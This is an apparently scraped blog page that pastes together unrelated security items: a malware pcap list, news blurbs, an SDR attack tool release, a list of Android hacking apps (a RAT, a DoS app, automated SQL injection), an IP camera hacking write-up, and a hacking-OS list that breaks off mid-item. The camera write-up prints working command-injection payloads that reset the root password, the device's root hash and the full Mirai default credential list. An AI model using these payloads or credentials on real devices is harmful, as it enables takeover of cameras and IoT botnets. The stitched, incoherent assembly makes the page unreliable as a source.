Growth Central: April 2020

Collection Of Pcap Files From Malware Analysis

Update: Feb 19. 2015

We have been adding pcaps to the collection so remember to check out the folder ( Pcap collection) for the recent pcaps.

I had a project to test some malicious and exploit pcaps and collected a lot of them (almost 1000) from various public sources. You can see them in the PUBLIC folder. The credits go to the authors of the pcaps listed in the name of each file. Please visit their blogs and sites to see more information about the pcaps, see their recent posts, and send them thanks. The public pcaps have no passwords on them.

Update:Dec 13. 2014

Despite rare updates of this post, we have been adding pcaps to the collection so remember to check out the folder ( Pcap collection (New link)) for the recent pcaps!

Update:Dec 31. 2013 - added new pcaps

I did some spring cleaning yesterday and came up with these malware and exploit pcaps. Such pcaps are very useful for IDS and signature testing and development, general education, and malware identification. While there are some online public sandboxes offering pcaps for download like Cuckoo or Anubis but looking for them is a tedious task and you cannot be totally sure the pcap is for the malware family supposedly analysed - in other words, if the sandbox says it is Zeus does not necessarily mean that it is.

I found some good pcap repositories here (http://www.netresec.com/?page=PcapFiles) but there are very few pcaps from malware.

These are from identified and verified (to the best of my knowledge and belief - email me if you find errors) malware samples.

All of them show the first stage with the initial callback and most have the DNS requests as well. A few pcaps show extended malware runs (e.g. purplehaze pcap is over 500mb).
Most pcaps are mine, a few are from online sandboxes, and one is borrowed from malware.dontneedcoffee.com. That said, I can probably find the corresponding samples for all that have MD5 listed if you really need them. Search contagio, some are posted with the samples.

Each file has the following naming convention:
BIN [RTF, PDF] - the filetype of the dropper used, malware family name, MD5, and year+month of the malware analysis.

I will be adding more pcaps in the future. Please donate your pcaps from identified samples, I am sure many of you have.

Thank you

Download

Download all together or separately.

All pcaps archives have the same password (same scheme), email me if you need it. I tried posting it without any passwords and pass infected but they get flagged as malware. Modern AV rips though zips and zips with the pass 'infected' with ease.

APT PCAPS

Download all together or separately.

2012-12-31 BIN_Xinmic_8761F29AF1AE2D6FACD0AE5F487484A5-pcap
2013-09-08 BIN_TrojanPage_86893886C7CBC7310F7675F4EFDE0A29-pcap
2013-09-08 BIN_Darkcomet_DC98ABBA995771480AECF4769A88756E-pcap
2013-09-02 8202_tbd_ 6D2C12085F0018DAEB9C1A53E53FD4D1-pcap
2013-09-02 BIN_8202_6d2c12085f0018daeb9c1a53e53fd4d1-pcap
2013-09-02 BIN_Vidgrab_6fd868e68037040c94215566852230ab-pcap
2013-09-02 BIN_PlugX_2ff2d518313475a612f095dd863c8aea-pcap
2013-09-02 BIN_Taidoor_46ef9b0f1419e26f2f37d9d3495c499f-pcap
2013-09-02 BIN_Vidgrab_660709324acb88ef11f71782af28a1f0-pcap
2013-09-02 BIN_Gh0st-gif_f4d4076dff760eb92e4ae559c2dc4525-pcap.zip
2013-07-15 BIN_Taleret.E_5328cfcb46ef18ecf7ba0d21a7adc02c.pcap
2013-05-14 BIN_Mediana_0AE47E3261EA0A2DBCE471B28DFFE007_2012-10.pcap
2013-05-14 BIN_Hupigon_8F90057AB244BD8B612CD09F566EAC0C
2013-05-14 BIN_LetsGo_yahoosb_b21ba443726385c11802a8ad731771c0_2011-07-19
2013-05-13 BIN_IXESHE_0F88D9B0D237B5FCDC0F985A548254F2-2013-05-pcap
2013-05-06 BIN_DNSWatch_protux_4F8A44EF66384CCFAB737C8D7ADB4BB8_2012-11-pcap
2013-05-06 BIN_9002_D4ED654BCDA42576FDDFE03361608CAA_2013-01-30-pcap
2013-05-06 BIN_BIN_RssFeeder_68EE5FDA371E4AC48DAD7FCB2C94BAC7-2012-06-pcap (not a common name, see the traffic ssheet http://bit.ly/maltraffic )
2013-04-30 BIN_MSWab_Yayih_FD1BE09E499E8E380424B3835FC973A8_us-pcap
2013-04-29 BIN_LURK_AF4E8D4BE4481D0420CCF1C00792F484_20120-10-pcap
2013-04-29 BIN_XTremeRAT_DAEBFDED736903D234214ED4821EAF99_2013-04-13-pcap
BIN_Enfal_Lurid_0fb1b0833f723682346041d72ed112f9_2013-01.pcap
BIN_Gh0st_variant-v2010_B1D09374006E20FA795B2E70BF566C6D_2012-08.pcap
BIN_Likseput_E019E37F19040059AB5662563F06B609_2012-10.pcap
BIN_Nettravler_1f26e5f9b44c28b37b6cd13283838366.pcap
BIN_Nettravler_DA5832657877514306EDD211DEF61AFE_2012-10.pcap
BIN_Sanny-Daws_338D0B855421867732E05399A2D56670_2012-10.pcap
BIN_Sofacy_a2a188cbf74c1be52681f998f8e9b6b5_2012-10.pcap
BIN_Taidoor_40D79D1120638688AC7D9497CC819462_2012-10.pcap
BIN_TrojanCookies_840BD11343D140916F45223BA05ABACB_2012_01.pcap
PDF_CVE-2011-2462_Pdf_2011-12.pcap
RTF_Mongall_Dropper_Cve-2012-0158_C6F01A6AD70DA7A554D48BDBF7C7E065_2013-01.pcap
OSX_DocksterTrojan.pcap

CRIMEWARE PCAPS

Download all together or separately.

2013-11-12_BIN_ChePro_2A5E5D3C536DA346849750A4B8C8613A-1.pcap
2013-10-15_BIN_cryptolocker_9CBB128E8211A7CD00729C159815CB1C.pcap
2013-09-20_BIN_Lader-dlGameoverZeus_12cfe1caa12991102d79a366d3aa79e9.pcap
2013-09-08 BIN_Tijcont_845B0945D5FE0E0AAA16234DC21484E0-pcap
2013-09-08 BIN_Kelihos_C94DC5C9BB7B99658C275B7337C64B33-pcap.zip
2013-08-19 BIN_Nitedrem_508af8c499102ad2ebc1a83fdbcefecb-pcap
2013-08-17 BIN_sality_CEAF4D9E1F408299144E75D7F29C1810-pcap
2013-08-15 BIN_torpigminiloader-pcap.zip
2013-13-08 EK_popads_109.236.80.170_2013-08-13.pcap
2013-11-08 BIN_Alinav5.3_4C754150639AA3A86CA4D6B6342820BE.pcap
2013-08-08 BIN_BitcoinMiner_F865C199024105A2FFDF5FA98F391D74-pcap
2013-08-07 BIN_ZeroAccess_Sirefef_C2A9CCC8C6A6DF1CA1725F955F991940_2013-08-pcap
2013-07-05 BIN_Kuluoz-Asprox_9F842AD20C50AD1AAB41F20B321BF84B
2013-05-31 Wordpress-Mutopy_Symmi_20A6EBF61243B760DD65F897236B6AD3-2pcap.pcap
2013-05-15 BIN_Zeus_b1551c676a54e9127cd0e7ea283b92cc-2012-04.pcap
2013-05-15 BIN_Gypthoy_3EE49121300384FF3C82EB9A1F06F288-2013-05.pcap
2013-05-12 BIN_PassAlert_B4A1368515C6C39ACEF63A4BC368EDB2-2013-05-13
2013-05-12 BIN_HorstProxy_EFE5529D697174914938F4ABF115F762-2013-05-13-pcap
2013-05-12 BIN_Bitcoinminer_12E717293715939C5196E604591A97DF-2013-05-12-pcap
2013-05-07 BIN_ZeroAccess_Sirefef_29A35124ABEAD63CD8DB2BBB469CBC7A_2013-05-pcapc
2013-05-05 BIN_PowerLoader_4497A231DA9BD0EEA327DDEC4B31DA12_2013-05-pcap
2013-05-05 BIN_GameThief_ECBA0FEB36F9EF975EE96D1694C8164C_2013-03-pcap
2013-05-05 BIN_PowerLoader_4497A231DA9BD0EEA327DDEC4B31DA12_2013-05-pcap
2013-04-27 EK_BIN_Blackhole_leadingto_Medfos_0512E73000BCCCE5AFD2E9329972208A_2013-04-pcap
2013-04-26 -- BIN_Citadel_3D6046E1218FB525805E5D8FDC605361-2013-04-samp
BIN_CitadelPacked_2012-05.pcap
BIN_CitadelUnpacked_2012-05.pcap
BIN_Cutwail_284Fb18Fab33C93Bc69Ce392D08Fd250_2012-10.pcap
BIN_Darkmegi_2012-04.pcap
BIN_DarknessDDoS_v8g_F03Bc8Dcc090607F38Ffb3A36Ccacf48_2011-01.pcap-
BIN_dirtjumper_2011-10.pcap
BIN_DNSChanger_2011-12.pcap
BIN_Drowor_worm_0f015bb8e2f93fd7076f8d178df2450d_2013-04.pcap
BIN_Googledocs_macadocs_2012-12.pcap
BIN_Imaut_823e9bab188ad8cb30c14adc7e67066d.pcap
BIN_IRCbot_c6716a417f82ccedf0f860b735ac0187_2013-04.pcap
BIN_Kelihos_aka_Nap_0feaaa4adc31728e54b006ab9a7e6afa.pcap
BIN_LoadMoney_MailRu_dl_4e801b46068b31b82dac65885a58ed9e_2013-04 .pcap
BIN_purplehaze-2012-01.pcap
BIN_ponyloader_470a6f47de43eff307a02f53db134289.pcap
BIN_Ramnitpcap_2012-01.pcap
BIN_Reedum_0ca4f93a848cf01348336a8c6ff22daf_2013-03.pcap
BIN_SpyEye_2010-02.pcap
BIN_Stabuniq_F31B797831B36A4877AA0FD173A7A4A2_2012-12.pcap
BIN_Tbot_23AAB9C1C462F3FDFDDD98181E963230_2012-12.pcap
BIN_Tbot_2E1814CCCF0C3BB2CC32E0A0671C0891_2012-12.pcap
BIN_Tbot_5375FB5E867680FFB8E72D29DB9ABBD5_2012-12.pcap
BIN_Tbot_A0552D1BC1A4897141CFA56F75C04857_2012-12.pcap
BIN_Tbot_FC7C3E087789824F34A9309DA2388CE5_2012-12.pcap
BIN_Tinba_2012-06.pcap
BIN_Vobfus_634AA845F5B0B519B6D8A8670B994906_2012-12.pcap
BIN_Xpaj_2012-05.pcap
BIN_ZeroAccess_3169969E91F5FE5446909BBAB6E14D5D_2012-10.pcap
BIN_ZeusGameover_2012-02.pcap
BIN_Zeus_2010-12.pcap
EK_Blackholev1_2012-03.pcap
EK_Blackholev1_2012-08.pcap
EK_Blackholev2_2012-09.pcap
EK_Blackhole_Java_CVE-2012-4681_2012-08.pcap
EK_Phoenix_2012-04.pcap
EK_Smokekt150(Malwaredontneedcoffee)_2012-09.pcap - credit malware.dontneedcoffee.com

Zero-Day Warning: It's Possible To Hack iPhones Just By Sending Emails

Watch out Apple users! The default mail app pre-installed on millions of iPhone and iPad has been found vulnerable to two critical flaws that could let remote hackers secretly take complete control over Apple devices just by sending an email to targeted individuals. According to cybersecurity researchers at ZecOps, the vulnerabilities in question are out-of-bounds write and remote heap

via The Hacker News

$$$ Bug Bounty $$$

What is Bug Bounty ?

A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.

Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.

Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1. In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.

While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.

Related word

RFCrack Release - A Software Defined Radio Attack Tool

RFCrack uses the following hardware with RFCat libraries:

YardStick One:

https://goo.gl/wd88sr

I decided to cleanup my RF testing harness and release it as a tool named RFCrack

Mostly because it has been pain to set up use-case scenarios from scratch for every device I am testing. Rather then release a tool no one knows how to use. The below video will be a quick but comprehensive tutorial to get you started If you've been following the blogs, this will greatly simplify your testing, in the following ways:

RFCrack handles all of your data conversions.
It allows you to capture, replay and save payloads for use anytime
It will handle rolling code bypass attacks on your devices.
You can jam frequencies and fuzz specific values
It will also allow you to scan specific frequencies in discovery mode or incrementally probe them
RFCrack will hopefully have keyless entry & engine bypass support in the near future

This is the first release, everything works as intended but there will be plenty of updates as I continue to do research and find reasons to add features needed for testing. I am still making changes and making it more flexible with modifiable values and restructuring code. If you have any legitimate use case scenarios or need a specific value to be modifiable, hit me up and I will do my best to update between research, if its a legitimate use case.

You can reach me at:
Twitter: @Ficti0n
http://cclabs.io , http://consolecowboys.com

GitHub Code for RFCrack:

https://github.com/cclabsInc/RFCrack

Full RF Hacking Course in Development:

Not all of the attacks in the tool have been covered in the RF hacking blog series and a few more are in research mode, as such, not yet added to the tool but will probably be covered in a full length online class on Hacking with RF which includes all targets and equipment. Send an email to info(at)cclabs.io if your interested.

Walkthrough Training Video:

Until Next time:

Cheers, and enjoy the tool for your personal use testing devices, feedback and bug reports are appreciated. I have another RF blog coming out shortly based on my friends research into hacking garages/gates and creating keyfobs. I will post when its ready.

Related news

Top 20 Best Free Hacking Apps For Android |2019|

20 Best Free hacking apps For Android |2019|.

Android is now one of the most popular operating systems. So, hackers have also started using Android devices for their tasks. Now Android devices are used for penetration testing and other hacking activities including IT security administrator, Wi-Fi hacking and network monitoring. There are several hacking apps or Android devices. So, we have curated a list of best hacking apps for Android.

Before you start using these apps, you must take a backup of your important data. I also recommend the use of these apps on a separate device. Using this on your primary phone is not recommended. It is because many of these apps require a rooted device and app can also harm your phone.

Note: Hacking apps can be used for educational and malicious purpose. But we never encourage malicious operations. We are listing the apps here just for educational purpose. You should only use these apps to learn. We do not support any unethical use of these apps.

1. AndroRAT

AndroRAT stands for Android RAT. RAT is the short form of Remote Administrative Tool and it allows an attacker to remotely control and fetch information from a device. AndroRAT does the same thing. It has a server developed in Java/Swing but the Android application has been developed in Java Android.

AndroRAT allows you to connect information like call logs, contacts, messages, location and more. You can remotely monitor sent and received messages send texts, use the camera, open a URL in the browser, make phone calls and remotely monitor the device.

The connection to the server can be triggered by an SMS or a call. From the server GUI, you can check all the connected clients and access information.

As the app allows silent remote access, it is not available on Play Store.

Download APK

2. zANTI

zANTI is a known penetration testing suite of applications you can install locally on Android smartphone. This tool brings scanning tools Diagnostic features and Reporting tools. You can use this malicious software to attack a network and check for any loopholes in your network. This tool is used to test redirect and SSL stripping attacks. You can edit request and response messages from web servers, the host takes websites from your Android phone and more.

Download

3. FaceNiff

FaceNiff is another good Android hacking that allows you to intercept the traffic of your WiFi network. You can use this tool to snoop what people are doing on the network you are. You can snoop on services like Facebook, Twitter, Amazon, YouTube and more. This is one of the notable too for steal cookies from the WiFi network and gives the attacker unauthorized access to other people's account.

This app requires a rooted device. So, you can only use the app if you have a rooted phone.

Download APK

4. Droidsheep

Droidsheep is also a similar app that helps security analysts understand what is happening in your Wi-Fi network. Like Face Sniff, this app can also hijack the web session profiles over a network and supports most of the services and websites.

The primary difference between Droidsheep and FaceSniff is that Droidsheep works with almost all the websites while FaceSniff has limited support.

Download APK

5. Hackode

Hackode is another good hacking apps for Android. It is not a single app but a collection of tools for ethical hackers and penetration testers. The app comes with three modules including Reconnaissance, Scanning and Security Feed. You can use this app for SQL Injection, Google hacking, MySQL Server, Whois, Scanning, DNS Dif, DNS lookup, IP, MX Records, Security RSS Feed, Exploits etc.

The app is still in beta, but available in Play Store.

Download Here

6. cSploit

cSploit is also a good security tool for Android. It comes with several options like cracking Wi-Fi password, installing backdoors, finding vulnerabilities and their exploits. If you are looking for a good hacking app or hacker app for Android, you should try this one for sure.

Download APK

7. DroidBox

DroidBox is also a similar kind of app that allows you to do the dynamic analysis of Android applications. You can use this app to get information like hashes of APK package, network traffic, SMS & phone calls, Incoming/outgoing network data, Listing broadcast receivers and more.

Download

8. Nmap

If you are into security or hacking, I am sure you already know the name of this too. Like the desktop tool, Nmap for Android also allows you to scan

It works on both on non-rooted and rooted phones. If you are a beginner, you should try this app and learn from it.

Download

9. SSHDroid

SSHDroid is SSH tool developed for Android. It lets you connect to a remote computer and run terminal commands, transfer and edit files. The app also provided features like shared-key authentication, WiFi autostart whitelist, extended notification control etc,

This app is available on Play Store.

Download

10. Kali Linux NetHunter

Kali Linux NetHunter is an open source penetration testing platform for Android. It officially supports Nexus and OnePlus devices. It provides the ultimate penetration testing platform that allows you to perform a wide range of attacks.

Download

11. APKInspector

APKInspector allows you to perform reverse engineering on an APK. you can use this to get a deep insight or APK and get the source code of any Android app. You can do modifications in the APK and visualize the DEX code to erase the credits and license.

Download APK

12. Shark for Root

Shark for Root is an advanced hacking tool for security experts and hackers. It can work as a traffic snipper. You can use the tcpdump command on rooted devices. It works on Wi-Fi, 3G, and FroYo tethered mode.

Download

13. dSploit

dSploit is an Android network penetrating testing suit. You can download and install it on your device to perform network security testing. It supports all Android devices running on Android 2.3 Gingerbread or higher. You need to root this phone for using the app. After rooting the phone, you need to download BusyBox from Google Play Store

The app comes with several modules including Port Scanner, Inspector, RouterPWN, Trace, Login Cracker, Packet Forger, Vulnerability Finder, and MITM.

Download

14. WPScan

WPScan is a WordPress vulnerability scanner for Android. This app is used to scan WordPress based websites and find possible vulnerabilities. WPScan is a popular desktop tool but this WPScan for Android is not related to that. So, do not think of it as an official WPScan app.

Download

15. Network Mapper

Network Mapper is a network scanner tool for network admins. It used to scan the network, lists all devices connected and find Open ports of various servers like FTP servers, SSH servers, SMB servers etc on the network. The tool is available on Play Store.

Download

16. Andosid

Andosid is like LOIC for the desktop. This tool is used to perform DOS attacks from Android mobile phones. You can use this tool to set a target URL and perform a DOS attack in one click. The tool will start flooding target URL with fake requests.

Download

17. DroidSQLi

DroidSQLi app allows attackers to perform SQL Injection on a target URL. You just need to find a target URL and this tool will start the fully automated SQL Injection attack.

Download

18. AppUse

AppUse is a Virtual Machine developed by AppSec Labs. It is a freely available mobile application security testing platform that comes with lots of custom made tools by AppSec Labs. If you want to sue your Android phone as your penetration testing tool, this one is for you.

Download

19. Network Spoofer

Network Spoofer is also a good hacking app for android. It lets you change the website on other people's computer from your Android phone. Connect to a WiFI network and then choose a spoof to use with the app. this tool is to demonstrate how vulnerable a network is. Do not try this on any unauthorized networks.

Download

20. DroidSheep Guard

As the name suggests, DroidSheep Guard works against DroidSheep. It monitors Android devices' ARP-table and tries to detect ARP-Spoofing attack on your network. It does not require a rooted device.

Download

@EVERYTHING NT

Related articles

How I Hacked My IP Camera, And Found This Backdoor Account

The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the most affordable among all others, my expectations regarding security was low. But this camera was still able to surprise me.

Maybe I will disclose the camera model used in my hack in this blog later, but first, I will try to contact someone regarding these issues. Unfortunately, it seems a lot of different cameras have this problem because they share being developed on the same SDK. Again, my expectations are low on this.

The obvious problems

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch its output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course.

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password are sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in

"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong - user.ipcam.hk/user.easyn.hk - and China - op2.easyn.cn/op3.easyn.cn. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud, the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.

PORT     STATE SERVICE    VERSION
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped

The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27-page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double-blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately, it was not working at all, I got an invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems that made the exploitation harder. I call this vulnerability double-blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleep was not a real solution.

But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:

$(ping%20-c%202%20%60pwd%60)

or cleaning up after URL decode:

$(ping -c 2 `pwd`)

but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

The following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.

$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`)           ;leak it via DNS

After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double-blind hack was a bit too much for this automated tool, unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.

$(echo 'root:passwd'|chpasswd)

Now, logging in via telnet

(none) login: root
Password:

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panic that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

Unfortunately, there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.

It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.

With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising.

My hardening list

I added these lines to the end of /system/init/ipcam.sh:

sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

You can use OpenVPN to connect into your home network and access the web interface of the camera. It works from Android, iOS, and any desktop OS.

My TODO list

Investigate the script /system/system/bin/gmail_thread
Investigate the cloud protocol * - see update 2016 10 27
Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn

A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump.

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr. Robot, you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this.

Update: as you can see in the following screenshot, the bad guys already started to take advantage of this issue ... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html

Update 20161006: The Mirai source code was leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.

root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root (none)
admin password
root root
root 12345
user user
admin (none)
root pass
admin admin1234
root 1111
admin smcadmin
admin 1111
root 666666
root password
root 1234
root klv123
Administrator admin
service service
supervisor supervisor
guest guest
guest 12345
guest 12345
admin1 password
administrator 1234
666666 666666
888888 888888
ubnt ubnt
root klv1234
root Zte521
root hi3518
root jvbzd
root anko
root zlxx.
root 7ujMko0vizxv
root 7ujMko0admin
root system
root ikwb
root dreambox
root user
root realtek
root 00000000
admin 1111111
admin 1234
admin 12345
admin 54321
admin 123456
admin 7ujMko0admin
admin 1234
admin pass
admin meinsm
tech tech
mother fucker

Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.
Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8
Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk

Update 2017-03-08: "Because of code reusing, the vulnerabilities are present in a massive list of cameras (especially the InfoLeak and the RCE),
which allow us to execute root commands against 1250+ camera models with a pre-auth vulnerability. "https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt

Update 2017-05-11: CVE-2017-5674 (see above), and my command injection exploit was combined in the Persirai botnet. 120 000 cameras are expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."
This issue might be worse than the Mirai worm because these effects cameras and other IoT behind NAT where UPnP was enabled.
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

More info

Firebase-Extractor - A Tool Written In Python For Scraping Firebase Data

This tool is written in python2, the purpose of this tool is to parse all the results from Bing search.Basically whenever a firebaseio URL is found for an app , User instead of searching for sensitive data by going manually through the search results can use this tool.This tool works by using the given Firebase URL as a search query in the bing search engine, scraping the first 4 pages from the search results , it then finally parses all the URL's for sensitive keywords.

Below Modules were Used:
1.sys
2.requests
3.bs4 // pip install bs4 //
4.urllib2
5.pyfiglet // pip install pyfiglet //
6.re
[+]bs4(Beautiful soup) module is used for parsing and extracting data specific to html.
[+]pyfiglet module is used for generating the banner for the tool.

Running Instructions:
On command line run python firebase.py xyz.firebaseio.com
where xyz is the app or company specific name.

Download Firebase-Extractor

via KitPloit

Memoryze

"MANDIANT Memoryze is free memory forensic software that helps incident responders find evil in live memory. Memoryze can acquire and/or analyze memory images, and on live systems can include the paging file in its analysis." read more...

Download: http://fred.mandiant.com/MemoryzeSetup.msi

OWASP API Security Project Media Coverage

A list of must read articles on OWASP API Security Project:

10/3/19, APISecurity.IO (UMV: 1,510): Issue 51: Gartner Releases Full Report on API Security
10/2/19, ADT Magazine (UMV: 117,500): API Security Project Identifies Top 10 Vulnerabilities
9/26/19, Dark Reading (UMV: 57,800): Why You Need to Think About API Security
9/24/19, The Daily Swig (UMV: 30,500): OWASP Reveals Top 10 Security Threats Facing API Ecosystem
9/20/19, Security Boulevard (UMV: 29,100): New OWASP List Highlights API Security Holes
9/13/19, Security Boulevard (UMV: 29,100): Why You Need to Be Thinking About API Security
9/13/19, CyberWire (UMV: 49,380): Daily Briefing: OWASP API Security Project
9/12/19, Dark Reading (UMV: 57,800): APIs Get Their Own Top 10 Security list

Also included in Dark Reading's weekly newsletter on 9/19/19

More info

Top 15 Best Operating System Professional Hackers Use

Top 10 Best Operating System Professional Hackers Use

Top 15 Best Operating System Professional Hackers Use

A hacker is someone who seeks and exploits the weaknesses of a computer system or network computing. Hackers may be motivated by a multitude of reasons, such as profit, protest, challenge, enjoyment or to assess these weaknesses to help in removing them.

The listed operating systems are based on the Linux kernel so it is all free operating systems.

1. Kali Linux

Kali Linux maintained and funded by Offensive Security Ltd. and it is first on our list. Kali Linux is a Debian-derived Linux distribution designed for digital forensics and penetration testing. It was developed by Mati Aharoni and Devon Kearns of Offensive Security through rewriting BackTrack, its previous forensics Linux distribution based on Ubuntu. Kali Linux has a specific project for the withdrawal of compatibility and portability of Android-specific devices, called Kali Linux NetHunter. It is the first open test platform penetration Source for Nexus Android devices, created as a joint effort between the member of the Kali "BinkyBear" Security and offensive community. It supports Wireless 802.11 frame injection, one-click configurations MANA Evil access point, keyboard HID (Teensy as attacks), as well as attacks MITM USB Mala.

2. Back Box

Back Box is an evaluation penetration testing Linux distribution and Ubuntu-based security aimed at providing an analysis of computer network systems and toolkit. Desktop environment back box includes a complete set of tools needed for ethical hacking and security testing.

3. Parrot Security OS

Parrot Security OS is a GNU / Linux distribution based on Debian. Fue built in order to perform penetration tests (safety information), vulnerability assessment and mitigation, Computer Forensics and Anonymous Surfing. Ha been developed by the team of Frozen box.

Parrot is based on the stable branch (Jessie) of Debian, a Linux 4.1 kernel hardened customized with a branch grsecurity patched available. The desktop environment is MATE fork of Gnome 2, and the default display manager is LightDM. The project is certified to run on machines with 265MB of RAM minimum follow and it is suitable for both 32-bit (i386) and 64-bit (amd64), with a special edition that works on 32-bit machines of age (486). Moreover, the project is available for Armel and armhf architectures. It even offers an edition (both 32 bit and 64 bit) developed for servers only for pen testing cloud.

4. Live Hacking OS

Live Hacking OS is a Linux distribution packed with tools and utilities for ethical hacking, penetration testing, and countermeasure verification. It includes embedded GUI GNOME user. There is a second variation available which has only the command line and requires much fewer hardware requirements.

5. DEFT Linux

